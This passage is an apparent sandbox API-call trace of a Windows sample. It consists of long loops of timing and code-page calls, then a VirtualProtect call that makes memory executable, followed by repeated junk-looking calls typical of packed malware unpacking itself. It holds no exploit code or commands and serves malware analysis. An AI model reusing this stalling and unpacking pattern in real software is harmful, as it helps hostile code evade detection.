GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.078] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.078] GetACP () returned 0x4e4 [0054.078] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.079] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.079] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.079] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.080] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.080] GetACP () returned 0x4e4 [0054.080] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.081] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.081] GetACP () returned 0x4e4 [0054.081] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.082] GetACP () returned 0x4e4 [0054.082] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.082] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.083] GetACP () returned 0x4e4 [0054.083] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.083] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.084] GetACP () returned 0x4e4 [0054.086] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.086] GetACP () returned 0x4e4 [0054.086] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.086] GetACP () returned 0x4e4 [0054.086] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.086] GetACP () returned 0x4e4 [0054.086] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.086] GetACP () returned 0x4e4 [0054.086] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.087] GetACP () returned 0x4e4 [0054.087] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.087] GetACP () returned 0x4e4 [0054.467] VirtualProtect (in: lpAddress=0x525ab8, dwSize=0xf540, flNewProtect=0x40, lpflOldProtect=0x43b444 | out: lpflOldProtect=0x43b444*=0x4) returned 1 [0054.468] AddAtomA (lpString=0x0) returned 0x0 [0054.468] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.469] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.469] AddAtomA (lpString=0x0) returned 0x0 [0054.469] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, 